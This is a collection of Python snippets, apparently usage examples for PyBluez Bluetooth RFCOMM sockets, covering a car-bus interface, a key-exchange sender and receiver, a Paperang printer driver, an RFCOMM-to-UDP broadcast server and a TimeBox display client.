class BluetoothInterface(BaseInterface): """The Bluetooth interface definition for communication with wireless client devices.""" __interface_name__ = 'bluetooth' def __init__(self, controller): """ Initializes a bluetooth service that may be consumed by a remote client. Arguments --------- controller : controllers.base.BaseController the parent controller that is instantiated this interface """ super(BluetoothInterface, self).__init__() self.controller = controller self.client_sock = None self.client_info = None self.rfcomm_channel = None self.service_name = self.get_setting('service_name') self.service_uuid = self.get_setting('service_uuid') self.server_sock = None self.thread = None def connect(self): """Creates a new thread that listens for an incoming bluetooth RFCOMM connection.""" LOGGER.info('creating thread for bluetooth interface...') self.thread = threading.Thread(target=self.listen_for_rfcomm_connection) self.thread.daemon = True self.thread.start() def listen_for_rfcomm_connection(self): """ Starts bluetooth interfaces """ # prepare bluetooth server self.server_sock = BluetoothSocket(RFCOMM) self.server_sock.bind(("", PORT_ANY)) self.server_sock.listen(1) self.rfcomm_channel = self.server_sock.getsockname()[1] # start listening for incoming connections try: advertise_service( sock=self.server_sock, name=self.service_name, service_id=self.service_uuid, service_classes=[self.service_uuid, SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE] ) except: LOGGER.exception("[ERROR] failed to advertise service") return LOGGER.info('waiting for connection on RFCOMM channel %d', self.rfcomm_channel) # accept received connection self.client_sock, self.client_info = self.server_sock.accept() self.state = self.__states__.STATE_CONNECTED LOGGER.info('accepted connection from %r', self.client_info) # start listening for data self.consume_bus() def disconnect(self): """ Closes Bluetooth connection and resets handle """ LOGGER.info('destroying bluetooth interface...') self.state = self.__states__.STATE_DISCONNECTING if self.client_sock and hasattr(self.client_sock, 'close'): self.client_sock.close() self.client_sock = None if self.server_sock and hasattr(self.server_sock, 'close'): self.server_sock.close() self.server_sock = None # reset the bluetooth interface self.thread = None self.perform_hci0_reset() self.state = self.__states__.STATE_READY @staticmethod def perform_hci0_reset(): """Resets the bluetooth hci0 device via hciconfig command line interface.""" try: LOGGER.info('performing hci0 down/up...') subprocess.Popen('hciconfig hci0 down', shell=True).communicate() subprocess.Popen('hciconfig hci0 up', shell=True).communicate() LOGGER.info('hci0 down/up has completed') except Exception as exception: LOGGER.exception("Failed to restart hci0 - %r", exception) def receive(self, data): """ Processes received data from Bluetooth socket Arguments --------- data : basestring the data received from the bluetooth connection """ try: packet = json.loads(data.decode('utf-8')) LOGGER.info('received packet via bluetooth: %r', packet['data']) # invoke bound method (if set) if self.receive_hook and hasattr(self.receive_hook, '__call__'): self.receive_hook(packet['data']) except Exception as exception: LOGGER.exception('error: %r', exception) def send(self, data): """ Sends data via Bluetooth socket connection Arguments --------- data : basestring the data to be sent via this interface """ if self.state != self.__states__.STATE_CONNECTED: LOGGER.error('error: send() was called but state is not connected') return False try: LOGGER.info('sending IBUSPacket(s)...') packets = [] for packet in data: packets.append(packet.as_serializable_dict()) # encapsulate ibus packets and send data = {"data": json.dumps(packets)} # TODO : is an inner json.dumps necessary? LOGGER.info(data) self.client_sock.send(json.dumps(data)) except Exception: # socket was closed, graceful restart LOGGER.exception('bluetooth send exception') self.reconnect() def consume_bus(self): """ Start listening for incoming data """ try: LOGGER.info('starting to listen for bluetooth data...') read_buffer_length = self.get_setting('read_buffer_length', int) while self.client_sock: data = self.client_sock.recv(read_buffer_length) if len(data) > 0: self.receive(data) except Exception as exception: LOGGER.exception('android device was disconnected - %r', exception) self.reconnect()
#!/usr/bin/env python3 # coding: utf-8 from bluetooth import BluetoothSocket host_BD = 'B8:27:EB:A5:03:6C' port = 3 backlog = 2 size = 1024 blueth = BluetoothSocket(bluetooth.RFCOMM) blueth.bind((host_BD, port)) blueth.listen(backlog) try: client, client_info = blueth.accept() while True: data = client.recv(1024) if data: print(data) except: print("Closing socket") client.close() blueth.close()
class BluetoothReceive: def __init__(self, port=3, size=1024): self.port = port self.size = size self.client_socket = None self.stopped = False @inlineCallbacks def find_key(self, bt_mac, mac): self.client_socket = BluetoothSocket(RFCOMM) message = b"" try: self.client_socket.setblocking(False) try: self.client_socket.connect((bt_mac, self.port)) except BluetoothError as be: if be.args[0] == "(115, 'Operation now in progress')": pass else: raise be success = False while not self.stopped and not success: r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5) if r: log.info("Connection established") self.client_socket.setblocking(True) success = True # try to receive until the sender closes the connection try: while True: part_message = self.client_socket.recv(self.size) log.debug("Read %d bytes: %r", len(part_message), part_message) message += part_message except BluetoothError as be: if be.args[0] == "(104, 'Connection reset by peer')": log.info("Bluetooth connection closed, let's check if we downloaded the key") else: raise be mac_key = fingerprint_from_keydata(message) verified = None if mac: verified = mac_verify(mac_key.encode('ascii'), message, mac) if verified: success = True else: log.info("MAC validation failed: %r", verified) success = False message = b"" except BluetoothError as be: if be.args[0] == "(16, 'Device or resource busy')": log.info("Probably has been provided a partial bt mac") elif be.args[0] == "(111, 'Connection refused')": log.info("The sender refused our connection attempt") elif be.args[0] == "(112, 'Host is down')": log.info("The sender's Bluetooth is not available") elif be.args[0] == "(113, 'No route to host')": log.info("An error occurred with Bluetooth, if present probably the device is not powered") else: log.info("An unknown bt error occurred: %s" % be.args[0]) key_data = None success = False returnValue((key_data, success, be)) except Exception as e: log.error("An error occurred connecting or receiving: %s" % e) key_data = None success = False returnValue((key_data, success, e)) if self.client_socket: self.client_socket.close() returnValue((message.decode("utf-8"), success, None)) def stop(self): self.stopped = True if self.client_socket: try: self.client_socket.shutdown(socket.SHUT_RDWR) self.client_socket.close() except BluetoothError as be: if be.args[0] == "(9, 'Bad file descriptor')": log.info("The old Bluetooth connection was already closed") else: log.exception("An unknown bt error occurred")
class Printer: standardKey = 0x35769521 padding_line = 300 max_send_msg_length = 1536 max_recv_msg_length = 1024 service_uuid = '00001101-0000-1000-8000-00805F9B34FB' def __init__(self, address=None): self.address = address self.crckeyset = False self.connected = True if self.connect() else False def init_converter(self, path): convert_img(path) def connect(self): if self.address is None and not self.scandevices(): return False if not self.scanservices(): return False logging.info('Service found: connecting to %s on %s...' % (self.service['name'], self.service['host'])) self.sock = BluetoothSocket() self.sock.connect((self.service['host'], self.service['port'])) self.sock.settimeout(60) logging.info('Connected.') self.registerCrcKeyToBt() return True def disconnect(self): try: self.sock.close() except: pass logging.info('Disconnected.') def scandevices(self): logging.warning('Searching for devices...') valid_names = ['MiaoMiaoJi', 'Paperang', 'Paperang_P2S'] nearby_devices = discover_devices(lookup_names=True) valid_devices = list( filter(lambda d: len(d) == 2 and d[1] in valid_names, nearby_devices)) if len(valid_devices) == 0: logging.error('Cannot find device with name %s.' % ' or '.join(valid_names)) return False elif len(valid_devices) > 1: logging.warning( 'Found multiple valid machines, the first one will be used.\n') logging.warning('\n'.join(valid_devices)) else: logging.warning('Found a valid machine with MAC %s and name %s' % (valid_devices[0][0], valid_devices[0][1])) self.address = valid_devices[0][0] return True def scanservices(self): logging.info('Searching for services...') service_matches = find_service(uuid=self.service_uuid, address=self.address) valid_service = list( filter( lambda s: 'protocol' in s and 'name' in s and s[ 'protocol'] == 'RFCOMM' and (s['name'] == 'SerialPort' or s['name'] == 'Port'), service_matches)) if len(valid_service) == 0: logging.error('Cannot find valid services on device with MAC %s.' % self.address) return False logging.info('Found a valid service') self.service = valid_service[0] return True def sendMsgAllPackage(self, msg): sent_len = self.sock.send(msg) logging.info('Sending msg with length = %d...' % sent_len) def crc32(self, content): return zlib.crc32(content, self.crcKey if self.crckeyset else self.standardKey) & 0xffffffff def packPerBytes(self, bytes, control_command, i): result = struct.pack('<BBB', 2, control_command, i) result += struct.pack('<H', len(bytes)) result += bytes result += struct.pack('<I', self.crc32(bytes)) result += struct.pack('<B', 3) return result def addBytesToList(self, bytes): length = self.max_send_msg_length result = [bytes[i:(i + length)] for i in range(0, len(bytes), length)] return result def sendToBt(self, data_bytes, control_command, need_reply=True): bytes_list = self.addBytesToList(data_bytes) for i, bytes in enumerate(bytes_list): tmp = self.packPerBytes(bytes, control_command, i) self.sendMsgAllPackage(tmp) if need_reply: return self.recv() def recv(self): raw_msg = self.sock.recv(self.max_recv_msg_length) parsed = self.resultParser(raw_msg) logging.info('Recv: ' + codecs.encode(raw_msg, 'hex_codec').decode()) logging.info('Received %d packets: ' % len(parsed) + ''.join([str(p) for p in parsed])) return raw_msg, parsed def resultParser(self, data): base = 0 res = [] while base < len(data) and data[base] == '\x02': class Info(object): def __str__(self): return '\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s' % ( self.command, BtCommandByte.findCommand( self.command), self.payload_length, codecs.encode(self.payload, 'hex_codec')) info = Info() _, info.command, _, info.payload_length = struct.unpack( '<BBBH', data[base:(base + 5)]) info.payload = data[base + 5:base + 5 + info.payload_length] info.crc32 = data[base + 5 + info.payload_length:base + 9 + info.payload_length] base += 10 + info.payload_length res.append(info) return res def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d): logging.info('Setting CRC32 key...') msg = struct.pack('<I', int(key ^ self.standardKey)) self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY) self.crcKey = key self.crckeyset = True logging.info('CRC32 key set.') def sendPaperTypeToBt(self, paperType=0): msg = struct.pack('<B', paperType) self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE) def sendPowerOffTimeToBt(self, poweroff_time=0): msg = struct.pack('<H', poweroff_time) self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME) def print(self, path): self.sendImageToBt(path) def sendImageToBt(self, path): binary_img = convert_img(path) self.sendPaperTypeToBt() msg = b''.join( map(lambda i: struct.pack('<c', i.to_bytes(1, byteorder='little')), binary_img)) self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False) self.sendFeedLineToBt(self.padding_line) def sendSelfTestToBt(self): msg = struct.pack('<B', 0) self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE) def sendDensityToBt(self, density): msg = struct.pack('<B', density) self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY) def sendFeedLineToBt(self, length): msg = struct.pack('<H', length) self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE) def queryBatteryStatus(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS) def queryDensity(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY) def sendFeedToHeadLineToBt(self, length): msg = struct.pack('<H', length) self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE) def queryPowerOffTime(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME) def querySNFromBt(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_SN) def queryHardwareInfo(self): msg = struct.pack('<B', 1) self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
while keep_going: print ("click") for frame in frames: if len(frame) == 0: break bin_data = None header = img_header() payload = frame if payload is None: continue bin_data = header + payload bin_data = bin_data + checksum(bin_data[1:]) bin_data.append(0x02) # Writing to output buffer out_buffer = escape_message(bin_data) # Only bother if there is data to be sent if out_buffer == None: continue try: if not mock: sock.send(bytes(out_buffer)) sleep(50/1000) except Exception as e: print(e) if not mock: sock.close()
class RfcommServer(object): '''An RFComm Server designed to propagate bluetooth messages to UDP broadcasts.''' def __init__(self, establish_bt=True): self.folder = path.dirname(path.abspath(__file__)) try: with open(path.join(self.folder, 'settings.yaml')) as settings_file: self.settings = yaml.safe_load(settings_file) except FileNotFoundError: print( "Create a settings.yaml file by copying settings-example.yaml") raise self.server_sock = None self.client_sock = None if establish_bt: self.server_sock = BluetoothSocket(RFCOMM) self.server_sock.bind(("", PORT_ANY)) self.server_sock.listen(1) uuid = "28ccf815-245e-436f-a002-8e72a67422a8" # doesn't appear to do anything on RasPi... advertise_service(self.server_sock, "LightNet", service_id=uuid, service_classes=[uuid, SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE]) self.broadcast_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.broadcast_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.broadcast_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) def loop(self, gen=None): '''Listen for and handle bluetooth commands.''' if not gen: gen = self.command_generator() broadcast_dest = (self.settings['broadcast']['ip'], self.settings['broadcast']['port']) for command in gen: print("received [{}]".format(command)) if command.startswith('#'): self.execute_command(command[1:].strip()) continue self.broadcast_socket.sendto(command.encode(), broadcast_dest) self.respond('okay') print("all done") def execute_command(self, command): '''Find and execute a command. ''' folder = path.join(self.folder, 'commands') for filename in os.listdir(folder): if filename.split('.')[0] == command: break else: self.respond("Command '{}' not found.".format(command)) return os.chdir(folder) self.respond("Running '{}'...".format(command)) output = subprocess.check_output([filename], stderr=subprocess.STDOUT, universal_newlines=True) if output.strip(): self.respond(output.strip()) def respond(self, msg): '''Send a bluetooth response if connected.''' print("> " + msg.replace('\n', '\n > ')) if not self.client_sock: return self.client_sock.send(msg + '\n') def command_generator(self): '''Establishes a client connection, yielding any commands given and raising StopIteration upon close. ''' whitelist = self.settings.get('whitelist', []) while True: print("Waiting for connection on RFCOMM channel") client_sock, client_info = self.server_sock.accept() if whitelist and not client_info[0] in whitelist: print("Denied connection from ", client_info) client_sock.close() continue print("Accepted connection from ", client_info) self.client_sock = client_sock with contextlib.closing(client_sock): while True: try: data = client_sock.recv(1024) if not data: raise StopIteration yield data.decode('utf-8').strip() except IOError: traceback.print_exc() except (KeyboardInterrupt, SystemExit, StopIteration): raise print("disconnected") self.client_sock = None def close(self): '''Closes the server connection if open.''' if self.server_sock: self.server_sock.close()
class BluetoothOffer: def __init__(self, key, port=3, size=1024): self.key = key self.port = port self.size = size self.server_socket = None self.message_def = None self.stopped = False @inlineCallbacks def start(self): self.stopped = False message = "Back" success = False try: while not self.stopped and not success: # server_socket.accept() is not stoppable. So with select we can call accept() # only when we are sure that there is already a waiting connection ready_to_read, ready_to_write, in_error = yield threads.deferToThread( select.select, [self.server_socket], [], [], 0.5) if ready_to_read: # We are sure that a connection is available, so we can call # accept() without deferring it to a thread client_socket, address = self.server_socket.accept() key_data = get_public_key_data(self.key.fingerprint) kd_decoded = key_data.decode('utf-8') yield threads.deferToThread(client_socket.sendall, kd_decoded) log.info("Key has been sent") client_socket.shutdown(socket.SHUT_RDWR) client_socket.close() success = True message = None except Exception as e: log.error("An error occurred: %s" % e) success = False message = e returnValue((success, message)) def allocate_code(self): """Acquires and returns a string suitable for finding the key via Bluetooth. Returns None if no powered on adapter could be found.""" # TODO: when we have magic-wormhole we should perform this operation in async # and show the loading spinning wheel bt_data = None try: code = get_local_bt_address().upper() except NoBluezDbus as e: log.debug("Bluetooth service seems to be unavailable: %s", e) except NoAdapter as e: log.debug("Bluetooth adapter is not available: %s", e) except UnpoweredAdapter as e: log.debug("Bluetooth adapter is turned off: %s", e) else: if self.server_socket is None: self.server_socket = BluetoothSocket(RFCOMM) # We create a bind with the Bluetooth address we have in the system self.server_socket.bind((code, PORT_ANY)) # Number of unaccepted connections that the system will allow before refusing new connections backlog = 1 self.server_socket.listen(backlog) log.info("sockname: %r", self.server_socket.getsockname()) port = self.server_socket.getsockname()[1] log.info("BT Code: %s %s", code, port) bt_data = "BT={0};PT={1}".format(code, port) return bt_data def stop(self): log.debug("Stopping bt receive") self.stopped = True if self.server_socket: self.server_socket.shutdown(socket.SHUT_RDWR) self.server_socket.close() self.server_socket = None
class BluetoothInterface(BaseInterface): """The Bluetooth interface definition for communication with wireless client devices.""" __interface_name__ = 'bluetooth' def __init__(self, controller): """ Initializes a bluetooth service that may be consumed by a remote client. Arguments --------- controller : controllers.base.BaseController the parent controller that is instantiated this interface """ super(BluetoothInterface, self).__init__() self.controller = controller self.client_sock = None self.client_info = None self.rfcomm_channel = None self.service_name = self.get_setting('service_name') self.service_uuid = self.get_setting('service_uuid') self.server_sock = None self.thread = None def connect(self): """Creates a new thread that listens for an incoming bluetooth RFCOMM connection.""" LOGGER.info('creating thread for bluetooth interface...') self.thread = threading.Thread( target=self.listen_for_rfcomm_connection) self.thread.daemon = True self.thread.start() def listen_for_rfcomm_connection(self): """ Starts bluetooth interfaces """ # prepare bluetooth server self.server_sock = BluetoothSocket(RFCOMM) self.server_sock.bind(("", PORT_ANY)) self.server_sock.listen(1) self.rfcomm_channel = self.server_sock.getsockname()[1] # start listening for incoming connections advertise_service( self.server_sock, self.service_name, service_id=self.service_uuid, service_classes=[self.service_uuid, SERIAL_PORT_CLASS], profiles=[SERIAL_PORT_PROFILE]) LOGGER.info('waiting for connection on RFCOMM channel %d' % self.rfcomm_channel) # accept received connection self.client_sock, self.client_info = self.server_sock.accept() self.state = self.__states__.STATE_CONNECTED LOGGER.info('accepted connection from %r', self.client_info) # start listening for data self.consume_bus() def disconnect(self): """ Closes Bluetooth connection and resets handle """ LOGGER.info('destroying bluetooth interface...') self.state = self.__states__.STATE_DISCONNECTING if self.client_sock and hasattr(self.client_sock, 'close'): self.client_sock.close() self.client_sock = None if self.server_sock and hasattr(self.server_sock, 'close'): self.server_sock.close() self.server_sock = None # reset the bluetooth interface self.thread = None self.perform_hci0_reset() self.state = self.__states__.STATE_READY @staticmethod def perform_hci0_reset(): """Resets the bluetooth hci0 device via hciconfig command line interface.""" try: LOGGER.info('performing hci0 down/up...') subprocess.Popen('sudo hciconfig hci0 down', shell=True).communicate() subprocess.Popen('sudo hciconfig hci0 up', shell=True).communicate() LOGGER.info('hci0 down/up has completed') except Exception as exception: LOGGER.exception("Failed to restart hci0 - %r", exception) def receive(self, data): """ Processes received data from Bluetooth socket Arguments --------- data : basestring the data received from the bluetooth connection """ try: packet = json.loads(data) LOGGER.info('received packet via bluetooth: %r', packet['data']) # invoke bound method (if set) if self.receive_hook and hasattr(self.receive_hook, '__call__'): self.receive_hook(packet['data'].decode('hex')) except Exception as exception: LOGGER.exception('error: %r', exception) def send(self, data): """ Sends data via Bluetooth socket connection Arguments --------- data : basestring the data to be sent via this interface """ if self.state != self.__states__.STATE_CONNECTED: LOGGER.error('error: send() was called but state is not connected') return False try: LOGGER.info('sending IBUSPacket(s)...') packets = [] for packet in data: packets.append(packet.as_serializable_dict()) # encapsulate ibus packets and send data = { "data": json.dumps(packets) } # TODO : is an inner json.dumps necessary? LOGGER.info(data) self.client_sock.send(json.dumps(data)) except Exception as exception: # socket was closed, graceful restart LOGGER.exception('bt send: %r', exception.message) self.reconnect() def consume_bus(self): """ Start listening for incoming data """ try: LOGGER.info('starting to listen for bluetooth data...') read_buffer_length = self.get_setting('read_buffer_length', int) while self.client_sock: data = self.client_sock.recv(read_buffer_length) if len(data) > 0: self.receive(data) except Exception as exception: LOGGER.exception('android device was disconnected - %r', exception) self.reconnect()
class TimeBox: """Class TimeBox encapsulates the TimeBox communication.""" DEFAULTHOST = "11:75:58:48:2F:DA" COMMANDS = { "switch radio": 0x05, "set volume": 0x08, "get volume": 0x09, "set mute": 0x0a, "get mute": 0x0b, "set date time": 0x18, "set image": 0x44, "set view": 0x45, "set animation frame": 0x49, "get temperature": 0x59, "get radio frequency": 0x60, "set radio frequency": 0x61 } socket = None messages = None message_buf = [] def __init__(self): self.messages = TimeBoxMessages() def connect(self, host=None, port=4): """Open a connection to the TimeBox.""" # Create the client socket if host is None: host = self.DEFAULTHOST #print("connecting to %s at %s" % (self.host, self.port)) self.socket = BluetoothSocket(RFCOMM) self.socket.connect((host, port)) self.socket.setblocking(0) def close(self): """Closes the connection to the TimeBox.""" self.socket.close() def receive(self, num_bytes=1024): """Receive n bytes of data from the TimeBox and put it in the input buffer. Returns the number of bytes received.""" ready = select.select([self.socket], [], [], 0.1) if ready[0]: data = self.socket.recv(num_bytes) self.message_buf += data return len(data) else: return 0 def send_raw(self, data): """Send raw data to the TimeBox.""" return self.socket.send(data) def send_payload(self, payload): """Send raw payload to the TimeBox. (Will be escaped, checksumed and messaged between 0x01 and 0x02.""" msg = self.messages.make_message(payload) return self.socket.send(bytes(msg)) def send_command(self, command, args=None): """Send command with optional arguments""" if args is None: args = [] if isinstance(command, str): command = self.COMMANDS[command] length = len(args) + 3 length_lsb = length & 0xff length_msb = length >> 8 payload = [length_lsb, length_msb, command] + args self.send_payload(payload) def decode(self, msg): """remove leading 1, trailing 2 and checksum and un-escape""" return self.messages.decode(msg) def has_message(self): """Check if there is a complete message *or leading garbage data* in the input buffer.""" if len(self.message_buf) == 0: return False if self.message_buf[0] != 0x01: return True #endmarks = [x for x in self.message_buf if x == 0x02] #return len(endmarks) > 0 return 0x02 in self.message_buf def buffer_starts_with_garbage(self): """Check if the input buffer starts with data other than a message.""" if len(self.message_buf) == 0: return False return self.message_buf[0] != 0x01 def remove_garbage(self): """Remove data from the input buffer that is not the start of a message.""" pos = self.message_buf.index( 0x01) if 0x01 in self.message_buf else len(self.message_buf) res = self.message_buf[0:pos] self.message_buf = self.message_buf[pos:] return res def remove_message(self): """Remove a message from the input buffer and return it. Assumes it has been checked that there is a complete message without leading garbage data""" if not 0x02 in self.message_buf: raise Exception('There is no message') pos = self.message_buf.index(0x02) + 1 res = self.message_buf[0:pos] self.message_buf = self.message_buf[pos:] return res def drop_message_buffer(self): """Drop all dat currently in the message buffer,""" self.message_buf = [] def set_static_image(self, image): """Set the image on the TimeBox""" msg = self.messages.static_image_message(image) self.socket.send(bytes(msg)) def set_dynamic_images(self, images, frame_delay): """Set the image on the TimeBox""" fnum = 0 for img in images: msg = self.messages.dynamic_image_message(img, fnum, frame_delay) fnum = fnum + 1 self.socket.send(bytes(msg)) def show_temperature(self, color=None): """Show temperature on the TimeBox in Celsius""" args = [0x01, 0x00] if not color is None: args += color self.send_command("set view", args) def show_clock(self, color=None): """Show clock on the TimeBox in the color""" args = [0x00, 0x01] if not color is None: args += color self.send_command("set view", args) def clear_input_buffer(self): """Read all input from TimeBox and remove from buffer. """ while self.receive() > 0: self.drop_message_buffer() def clear_input_buffer_quick(self): """Quickly read most input from TimeBox and remove from buffer. """ while self.receive(512) == 512: self.drop_message_buffer()